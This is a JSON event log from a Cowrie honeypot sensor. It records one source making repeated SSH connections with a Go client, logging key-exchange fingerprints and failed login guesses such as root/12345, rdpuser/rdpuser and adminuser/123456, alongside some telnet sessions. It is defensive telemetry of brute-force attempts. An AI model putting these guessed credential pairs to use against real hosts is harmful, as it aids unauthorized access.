{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:08.532050Z","src_ip":"176.65.132.129","session":"dd4620995880","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:08.602518Z","src_ip":"176.65.132.129","session":"dd4620995880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:08.669905Z","src_ip":"193.106.245.20","session":"81b33e39dd30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:08.918907Z","src_ip":"176.65.132.129","session":"dd4620995880","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:10.003469Z","src_ip":"176.65.132.129","session":"dd4620995880","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36974,"dst_ip":"159.203.135.109","dst_port":22,"session":"04e3d8839237","protocol":"ssh","message":"New connection: 176.65.132.129:36974 (159.203.135.109:22) [session: 04e3d8839237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:11.979888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:11.983880Z","src_ip":"176.65.132.129","session":"04e3d8839237","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:12.068538Z","src_ip":"176.65.132.129","session":"04e3d8839237","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:12.316391Z","src_ip":"176.65.132.129","session":"04e3d8839237","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:13.401464Z","src_ip":"176.65.132.129","session":"04e3d8839237","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.54499411582947,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:13.901827Z","src_ip":"45.58.127.90","session":"b0825466ba79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36992,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e70183f028f","protocol":"ssh","message":"New connection: 176.65.132.129:36992 (159.203.135.109:22) [session: 9e70183f028f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:15.408924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:15.413162Z","src_ip":"176.65.132.129","session":"9e70183f028f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:15.497084Z","src_ip":"176.65.132.129","session":"9e70183f028f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:15.745393Z","src_ip":"176.65.132.129","session":"9e70183f028f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.68799901008606,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:16.050823Z","src_ip":"45.58.127.90","session":"493345381420","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:16.830207Z","src_ip":"176.65.132.129","session":"9e70183f028f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41264,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4e5773c1236","protocol":"ssh","message":"New connection: 176.65.132.129:41264 (159.203.135.109:22) [session: b4e5773c1236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:19.028440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:19.032828Z","src_ip":"176.65.132.129","session":"b4e5773c1236","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:19.124928Z","src_ip":"176.65.132.129","session":"b4e5773c1236","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:19.368857Z","src_ip":"176.65.132.129","session":"b4e5773c1236","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:20.453225Z","src_ip":"176.65.132.129","session":"b4e5773c1236","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41278,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1140e4de78a","protocol":"ssh","message":"New connection: 176.65.132.129:41278 (159.203.135.109:22) [session: c1140e4de78a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:22.491865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:22.496542Z","src_ip":"176.65.132.129","session":"c1140e4de78a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:22.578259Z","src_ip":"176.65.132.129","session":"c1140e4de78a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:22.825042Z","src_ip":"176.65.132.129","session":"c1140e4de78a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:23.910297Z","src_ip":"176.65.132.129","session":"c1140e4de78a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.238722801208496,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:25.075288Z","src_ip":"45.58.127.90","session":"71750e2ac7fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56666,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5129ddfc3a3","protocol":"ssh","message":"New connection: 176.65.132.129:56666 (159.203.135.109:22) [session: f5129ddfc3a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:25.899903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:25.904583Z","src_ip":"176.65.132.129","session":"f5129ddfc3a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:25.987757Z","src_ip":"176.65.132.129","session":"f5129ddfc3a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:26.233110Z","src_ip":"176.65.132.129","session":"f5129ddfc3a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:27.321914Z","src_ip":"176.65.132.129","session":"f5129ddfc3a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39300,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e4628a81c6b","protocol":"telnet","message":"New connection: 45.58.127.90:39300 (10.17.0.5:23) [session: 6e4628a81c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:29.013264Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56668,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac5ace9e6955","protocol":"ssh","message":"New connection: 176.65.132.129:56668 (159.203.135.109:22) [session: ac5ace9e6955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:29.460039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:29.482902Z","src_ip":"176.65.132.129","session":"ac5ace9e6955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:29.543394Z","src_ip":"176.65.132.129","session":"ac5ace9e6955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:29.862658Z","src_ip":"176.65.132.129","session":"ac5ace9e6955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59292,"dst_ip":"10.17.0.5","dst_port":23,"session":"d703341e635b","protocol":"telnet","message":"New connection: 45.58.127.90:59292 (10.17.0.5:23) [session: d703341e635b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:30.739740Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:30.946810Z","src_ip":"176.65.132.129","session":"ac5ace9e6955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.163450479507446,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:31.615315Z","src_ip":"45.58.127.90","session":"f1ebd56506da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56682,"dst_ip":"159.203.135.109","dst_port":22,"session":"da0f61c602c0","protocol":"ssh","message":"New connection: 176.65.132.129:56682 (159.203.135.109:22) [session: da0f61c602c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:32.899010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:32.903589Z","src_ip":"176.65.132.129","session":"da0f61c602c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:32.985259Z","src_ip":"176.65.132.129","session":"da0f61c602c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.17883610725403,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:33.096982Z","src_ip":"45.58.127.90","session":"a1a22ad841b6","protocol":"telnet"}
